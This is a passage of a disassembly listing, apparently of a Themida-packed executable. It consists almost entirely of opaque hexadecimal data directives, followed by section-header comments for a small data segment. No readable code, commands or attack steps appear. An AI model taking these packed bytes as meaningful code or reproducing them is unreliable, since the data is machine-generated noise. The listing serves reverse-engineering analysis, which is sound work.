664B5F85h, 8A0FF28Bh, 7, 233EB953h, 6658266Fh, 8AFCC38Bh dd 10E9C6h, 74280000h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h dd 0BBF962C3h, 6D8EA1A5h, 7BE1BA66h, 0D7BF0FF9h, 3EE1D381h dd 0DC801253h, 0CE940h, 6BE30000h, 7DAFCC14h, 0E43A18F7h dd 0BF66748Ch, 10E9E725h, 82000000h, 9C947189h, 0B41BB482h dd 79635B32h, 0BEB6D54Ah, 145CDC27h, 0B0A2BB66h, 0C5BA6651h dd 0ECBE5BB5h, 0E95AC737h, 0Ah, 0EF7E9FC1h, 8630A294h dd 0F88B91CEh, 10E9h, 2C875E00h, 1E74CF12h, 186DF473h dd 6D252770h, 0BBE3817Fh, 0E9773BCCh, 6, 3D4961BAh, 0B70F24C8h dd 12E9CEh, 6F810000h, 0DC922A80h, 0F75D434Bh, 0CC362178h dd 0CA311FD1h, 0EF04DB81h, 0E9602DB0h, 14h, 0BD6166BEh dd 3A53F022h, 484A5A8Dh, 74651DA8h, 7E5AD9FCh, 0AE8h, 0FCEE6600h dd 0A5BDA29Bh, 0BF0B257Dh, 7EA39995h, 890F615Bh, 6, 5DCFD781h dd 81666616h, 0E82439C6h, 0Dh, 0C2A6E843h, 4F350BCDh, 0F83AB423h dd 0EBC381FCh, 5E33EBDBh, 11D9F081h, 6E97AFCh, 0D2000000h dd 2B881B38h, 0D9B70FD2h, 0DE8BC68Bh, 14E9h, 0E16AA800h dd 706450EBh, 0D3EF5393h, 5BA9F0D8h, 7B120070h, 5159B39Fh dd 0BE9h, 3268F800h, 1592ADE7h, 2EF20BD4h, 0D381665Bh dd 0BE665B8Ah, 6660CB9Eh, 66FD53BAh, 5161D38Bh, 8E0F60h dd 0F000000h, 8Ch, 66596100h, 0DFDAF081h, 12E8h, 56432E00h dd 6128EE1Ah, 9038D1EFh, 1A5A3D13h, 52F15A1Ah, 8CC00BAh dd 8A58583Ah, 8166FCF7h, 0E80291C0h, 8, 6762ED2Fh, 2F99F22Ch dd 58D8BF0Fh, 10E8h, 0C8AB900h, 0B3463410h, 19E8FC95h dd 6937DA6Bh, 0B70F60EFh, 810FD9h, 61000000h, 0CE959h dd 91070000h, 5AB9ABFFh, 45AE06DEh, 6E9B10Ah, 8A000000h dd 212B184h, 0E3B456CCh, 0D08B605Eh, 61D98B66h, 0E938DD80h dd 0Ah, 2ADA4456h, 1567D184h, 0BF0F7E57h, 3CBF66CEh, 0CA8B66E6h dd 5AE78166h, 9842BAC4h, 0CC803A0Ch, 870FC5h, 0B2000000h dd 8A0F29h, 0F000000h, 0EE9F3BFh, 0BA000000h, 0AE8A9379h dd 29AF5801h, 0DCC28FDFh, 0D181661Bh, 0B86626A4h, 800F03A0h dd 3, 8B15EB80h, 25C180D8h, 128E0Fh, 6E80000h, 0DD000000h dd 0F8E51ECEh, 15D68191h, 580DC4B9h, 11E9h, 0FCE0D400h dd 0DCCA9805h, 529E2703h, 7DB03D41h, 0B70FBD02h, 32BF66C3h dd 15860F9Ah, 0E9000000h, 10h, 0FDF02C2Dh, 0FEF42E14h dd 9AD4FE24h, 29ACD3C3h, 50D1BF0Fh, 14E8h, 0C4158200h dd 0FF2D348Dh, 0BEEA36D7h, 4E9AE16Bh, 638A266Eh, 5FF88B5Eh dd 38A0F5Fh, 66000000h, 830FDF8Bh, 2, 8E8D88Bh, 8D000000h dd 6C60CD29h, 5EACCD3Dh, 0CE9h, 8D0EF000h, 3DBE64E6h, 0B2D52E17h dd 0CBBF0FE0h, 8BCB8B66h, 11E9F0h, 4C070000h, 0ECFAA286h dd 7EFCA3C9h, 0D7ABEDAEh, 5765CED2h, 33B85EF8h, 0F646732h dd 0C8Eh, 68E0F00h, 0F000000h, 80h, 58A0F00h, 0B9000000h dd 4890A0F5h, 8E96050h, 3C000000h, 8A89EDB4h, 0F594247Ch dd 0BABB5861h, 66610176h, 8B66C18Bh, 0C88166C6h, 5E9A370h dd 96000000h, 50DE9CB0h, 7E9h, 0DAAED500h, 6B20F3DCh, 665CBFh dd 2923BF0Eh, 0AE83480h, 0D3000000h, 1B6BE8AEh, 96415DFDh dd 25D7BB07h, 8B5F74C5h, 0BEF98BD7h, 176A5506h, 81F18B66h dd 7B5174DAh, 0E973B315h, 9, 0D1842ADAh, 7E571567h, 0CF816657h dd 8E97537h, 50000000h, 77204F1Ch, 66E24A94h, 78CDF081h dd 1935DB81h, 0E9602354h, 14h, 0CAABDA27h, 0E5CB4FEDh dd 3B0884C3h, 835E7F35h, 6ADED69Eh, 66F561F9h, 8083A6B9h dd 0FE9D3D2h, 1A000000h, 37D3DCBAh, 0E28CCAE8h, 0B4D94EDFh dd 8166F728h, 0F4C9EEBh, 584h, 8C3DB800h, 0CE83414h, 0F2000000h dd 6FEAA1C2h, 0B4CB2093h, 804FE862h, 8A5E46C4h, 0FC8A60F8h dd 0BE9h, 0F1DB9900h, 8ED1CD00h, 0FDFEDFD2h, 66C58A61h dd 0F50018BBh, 72C6FCBFh, 5870F6Eh, 57000000h, 58F7B70Fh dd 0B70FF78Bh, 0BF0F60F7h, 66F860FAh, 61D9E8B9h, 0C0816661h dd 0EBB885DEh, 0F01CA62h, 0EE9C9BFh, 1000000h, 5B2AFB81h dd 33A3A67Bh, 6893D772h, 0C3816647h, 14E97FB5h, 15000000h dd 7254988Fh, 0C75DD342h, 49984A8Ah, 7586916h, 0E9E09788h dd 0Ch, 522FF2F2h, 85E87888h, 423DF6Dh, 8AFEBF0Fh, 816660C6h dd 0F5794DE2h, 0A830F61h, 60000000h, 8D0Fh, 61600000h dd 0E9816661h, 0C88AA5A5h, 6176B160h, 0E918F180h, 0Fh dd 0A3AD7E6Dh, 6DECDE80h, 781477A0h, 81516CD4h, 6AAF2ECAh dd 63BB6656h, 8631BE07h, 0DF810F3Eh, 3B8869BCh, 0E8CB8B66h dd 7, 1CA8B19Ah, 0E8ED1127h, 14h, 4E75F9D5h, 10A65697h dd 2C33BCEh, 1E924C53h, 42BA2801h, 5F5B5857h, 0B9D78B66h dd 209A2B34h, 10E9h, 0F69BB000h, 49C411CCh, 0D5ECA69Ah dd 811F61F8h, 3FF68069h, 66DF8B66h, 10E9F78Bh, 0F8000000h dd 0E5BEDC77h, 0BE7B9358h, 0A403EB8Ah, 0FBF6B5Ch, 285h dd 0E9CB8B00h, 0Bh, 142B4A4Fh, 9736FA0Ch, 0FDB8A0Eh, 185h dd 0C580FC00h, 830F29h, 0E9000000h, 8, 891A609h, 815F79BEh dd 0E4D78166h, 56CA8A37h, 0FB53BA66h, 6660605Ah, 0F1A8D181h dd 0CAA5B966h, 0FE961h, 0A15A0000h, 9AA7A8D2h, 54B91D14h dd 80BD1F2Dh, 81666168h, 6070FAD1h, 4850Fh, 0B9660000h dd 0BE667D3Ch, 57615271h, 0ECB96660h, 0FDCABEFBh, 5F610B1Dh dd 20C08166h, 0CCEE814Fh, 6656115Ah, 0B866F98Bh, 0BF0F2B8Ah dd 8850FF9h, 56000000h, 8D0Fh, 0F5F0000h, 13E9F3BFh, 35000000h dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 0FE6E1634h, 0C68B0EFEh dd 11E85E53h, 5E000000h, 0A3EC5472h, 6BBCF7B1h, 0C369835Fh dd 165B5768h, 78B8FC60h, 615F60F5h, 0C78B665Ah, 0FA8B87B2h dd 14E9h, 0FFC14500h, 3879111Bh, 3F0E7268h, 98808D58h dd 0E8C79B7Fh, 0B460FC3Ah, 66606125h, 0F861DF8Bh, 0C16EEF81h dd 8E97F4Eh, 50000000h, 0D97E01DCh, 0E927D1C4h, 7, 1707BDA4h dd 0E8C88C98h, 0Ah, 82A07232h, 0B8765D90h, 0B9567EB1h dd 32BC54D3h, 10E9595Eh, 36000000h, 4E1AB606h, 224AD4EEh dd 504AB207h, 6643A1CDh, 0F876D5BEh, 0EE9h, 0CD561C00h dd 0B131F4D7h, 0D1DE7FB5h, 0F4D6739h, 1B83h, 15800F00h dd 0E9000000h, 10h, 28CD61D6h, 0E8B570D6h, 4B8B3C58h, 2F62A5A0h dd 0F1F18060h, 1850F61h, 0F8000000h, 12E9FCh, 29BC0000h dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 464BB1CFh, 0EC143CBBh dd 30E2812Eh, 6614B81Ah, 5245D681h dd 54EFBE66h, 0CBDF8060h, 11E8h, 7E04500h, 8A8BBDC0h, 47405356h dd 4A9B64C9h, 14E81A2Fh, 83000000h, 0E79257D9h, 23FE2D4Dh dd 0D9259B15h, 0BFF2E2D1h, 5A56FDEAh, 0E1B1615Eh, 0A8A0FF8h dd 0E9000000h, 5, 0B5CE22BBh, 8E9E6h, 8AEB0000h, 0D8BB36B6h dd 8BF79C8h, 8B1D0706h, 7E8C7h, 99AE0000h, 8EBF973h, 8F0F56C8h dd 0 dd 66FC5858h, 65A0EA81h, 92D5BE66h, 10E9h, 0E2125100h dd 19569035h, 0EDDE2359h, 0E652F1Bh, 0C4D4BB28h, 9E81BAAh dd 0B1000000h, 4DF11EC2h, 2921D587h, 5DB794BEh, 890F5919h dd 3, 0FF4D380h, 681h, 820F00h, 0E8000000h, 6, 4AA1A217h dd 0F501E6Dh, 87h, 8B5A5800h, 800FC7h, 66000000h, 0BE9D38Bh dd 3000000h, 6E364D1h, 0A422A919h, 47BEF3DDh, 666260C8h dd 0F5FF72B9h, 5AFE8A56h, 0F0F18166h, 5810F71h, 0BE000000h dd 64CD1300h, 8158F556h, 3367E0F1h, 0F98B660Ch, 81CEB70Fh dd 0DC6FA2CFh, 2C4FBE72h, 830F5646h, 2, 8B0F01B5h, 25h dd 12E8h, 10915E00h, 31B01C3h, 60590414h, 7D683938h, 0E9A7E88Ah dd 8, 0E807F84Bh, 0AD642B7Ah, 0CB81665Bh, 8B665349h, 0BBBB56F3h dd 5E577059h, 396D381h, 0B4F975C5h, 0C6BF0FBAh, 6E9h, 0ABB7800h dd 8A891BD7h, 12E8F5C5h, 12000000h, 619F6A06h, 196AB0B4h dd 65787B45h, 4C90EBA1h, 616051D9h, 0FE95E5Bh, 33000000h dd 0E759251Bh, 41FCBC5Ah, 27F86B07h, 0D281863Dh, 2CDB3E71h dd 8B0FFCh, 0B9000000h, 31E3FC25h, 0ABFCBE66h, 830Fh, 0CA8B0000h dd 29E08060h, 9E9h, 6CE41A00h, 0BF739741h, 0E961E7A5h dd 11h, 3B71A669h, 0C1284E6Ch, 20B84F44h, 0DD983E86h, 0BF66605Fh dd 0FE9680Eh, 0A9000000h, 0E294AF4Dh, 0F62DF557h, 0E061939Eh dd 0F61F883h, 1B84h, 59566000h, 11E8h, 6D5E0100h, 0B0B6ACAAh dd 6DC4F5FCh, 0F229C8A8h, 615F22F4h, 12E9h, 0AC15BA00h dd 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 0BBCE605Fh, 73E94333h dd 5C85AAB8h, 0F98B6641h, 108A0Fh, 0BE90000h, 0C7000000h dd 86CD1F7Dh, 39321281h, 0E9570842h, 6, 6FBB3B26h, 665ACC9Ah dd 0E960DA8Bh, 6, 8F60FEAh, 0D78A95EDh, 11E961h, 20580000h dd 0E8C891E6h, 417438F5h, 9F82DCFh, 0FB9C6DDh, 0C8Bh, 7E900h dd 7DB80000h, 0F86F09DAh, 0DFBF0FDBh, 8ADFB70Fh, 6068B0F4h dd 8BC9BF0Fh, 66F961CFh, 2CDBEB81h, 0D08B66F9h, 0C8A0Fh dd 830F0000h, 6, 880Fh, 28BE0000h, 0E95736A1h, 6, 0FFB531B0h dd 8166CFEFh, 8170C5DAh, 6C967AF6h, 81FBB158h, 0DD7A1AE8h dd 0B7F8FC3Ah, 14E952AEh, 0D2000000h, 0B7CFEB56h, 0F138E895h dd 537F2047h, 0EE04D3DBh, 5AA873F2h, 830F5B51h, 2, 8E987B0h dd 2000000h, 78FA5663h, 0E99D3CCAh, 0Ah, 8C1B2CBEh, 7211729Dh dd 8D0FE1DDh, 17h, 0DE8h, 0ADA08300h, 0EBCBB5E5h, 0BDF8562h dd 0BE66D89Fh, 6659949Bh, 0F8F8BBFh, 781h, 81665300h, 5E5B34D7h dd 0E4B7F960h, 0CB816661h, 0CE8BE483h, 0B10CF080h, 0FE8BF93Ch dd 53EB8166h, 0E9C68B0Eh, 13h, 0F1E4351Eh, 0A0EA385Bh dd 0EF58E0Ah, 1EAAA738h, 0E96E89A9h, 13h, 16AC8A59h, 40EF6AB6h dd 0A1BE8043h, 0C0CB2C0Eh, 5029F951h, 0E958F08Bh, 12h dd 1CDCDDEFh, 22B05C1Bh, 0D4106CA5h, 0A1F99904h, 0FE947B7h dd 1F000000h, 0ACA8A110h, 3B78812Ch, 9B6E7C5h, 0B70F72D3h dd 0CE9CEh, 7F0C0000h, 0F0BD4FEFh, 0F3EE6784h, 20B9889Ah dd 0E83081C3h, 12h, 9FED1A9Fh, 43209B4Ah, 92795B20h, 0FEC60849h dd 0BF66CE06h, 805F7F75h, 860F29C1h, 0Fh, 0AE9h, 10595400h dd 0C2C1FEDBh, 6610CF0Eh, 5E6BCE81h, 6E860h, 81920000h dd 0CA253266h, 8B665EFCh, 0B86661C8h, 870F986Fh, 5, 9A0EC1BEh dd 0FE938h, 32F50000h, 45A64512h, 0BF6198F2h, 8DC2E6C3h dd 5385BAF2h, 0D68B7ACAh, 58F0Fh, 81660000h, 0FA067C8h dd 1A82h, 0EE800h, 1F960000h, 0D438D5ACh, 0C317B8ACh, 3148F9FEh dd 8B0Fh, 0E8590000h, 13h, 0CEF2EB7Bh, 23DC6A45h, 0CBA9C0B3h dd 0D20702AFh, 0F418EDEh, 0F5ED9B7h, 158Dh, 10E900h, 0C00D0000h dd 394F2B03h, 0DE7BF305h, 0E0CFDEF5h, 66F9CE21h, 0E945ABBFh dd 8, 0DDA8084Bh, 0EF1924AFh, 0FFAB70Fh, 985h, 38D0F00h dd 66000000h, 0F48AD18Bh, 5E9h, 7C6AE500h, 89B88104h, 8B478E20h dd 0C9E681D1h, 666CB683h, 8B66CE8Bh, 0B5BF66D8h, 10E817h dd 63870000h, 0AE41C505h, 5920918Eh, 990DAA14h, 0DA8A4A90h dd 6860F5Ah, 81000000h, 378199C0h, 9C58BB59h, 0DC800D9Ah dd 1ED081D4h, 0F84E04A3h, 5E9h, 9EC95100h, 0BF0F97DCh dd 0F28166D8h, 0C78B7E87h, 0D8D0FFCh, 0E9000000h, 8, 0CAE5601Ch dd 49DC9887h, 0CAECD281h, 0CB816E96h, 98528AFh, 50F1BF0Fh dd 0AE9h, 0C38BD400h, 3C2F452h, 5967242Dh, 78D0Fh, 810F0000h dd 1, 0F38166F9h, 1B7899Ch, 6940E081h, 13E87807h, 0E3000000h dd 33271E80h, 3CB259D6h, 0DA9BD425h, 0BA518347h, 0F606021h dd 8B66F0BFh, 0F55861C7h, 7E7FB966h, 0BBC9B70Fh, 4523BF05h dd 6CBECF8Bh, 807AA27Bh, 8D0FD1C4h, 16h, 11E9h, 0B0121F00h dd 1B0AA7D8h, 0A195F6B2h, 0FECFBC3Bh, 0BB664A6Dh, 81665C38h dd 665108F1h, 0FF6A7BEh, 383h, 0F3C68000h, 0E84BD080h dd 6, 1EA4B554h, 0F5E1263h, 0C981CFBFh, 1488890Bh, 0EE9h dd 50E10100h, 0A6B43F5Ah, 5B28F816h, 0F2FEAE1h, 2381h dd 10E800h, 91F30000h, 97E89AD3h, 0FFD95B40h, 86E56423h dd 8E9E869h, 17000000h, 0AE18CBE4h, 5ACEC327h, 6082E280h dd 5431CF81h, 816665D0h, 61C1D4C2h, 24830Fh, 5E80000h dd 8C000000h, 0C9280640h, 13E8h, 0C085DD00h, 95EA474Bh dd 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh, 10E95E5Eh, 0A9000000h dd 0D588D5BCh, 5A15606Ch, 7AF51282h, 800226B6h, 8E8A3C5h dd 9E000000h, 153BA8A6h, 0E96274C3h, 8, 0FBE029D6h, 0DD61067Bh dd 6BDE815Fh, 81021587h, 22183BD3h, 0B820F3Ch, 0F000000h dd 589h, 33EDBB00h, 850F7D44h, 2, 14E9E58Ah, 90000000h dd 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h, 24F49CA6h, 0E9E2348Ch dd 7, 16AD0342h, 0A0D7D575h, 324h dup(0A094320Ch), 407h dup(0C882650Dh) dd 0E649650Dh, 2C8h dup(0E6497671h) dword_5BDA88 dd 3Ch dup(0E6497671h), 44h dup(0FF61FF18h), 3061FF18h ; DATA XREF: Themida_:0054ED6Ao dd 59h dup(30039EC6h), 0CC039EC6h, 930h dup(0CCCCCCCCh) dd 0CCCCCCh, 352h dup(0) Themida_ ends ; Section 5. (virtual address 001C1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C1000h align 2000h _idata2 ends end start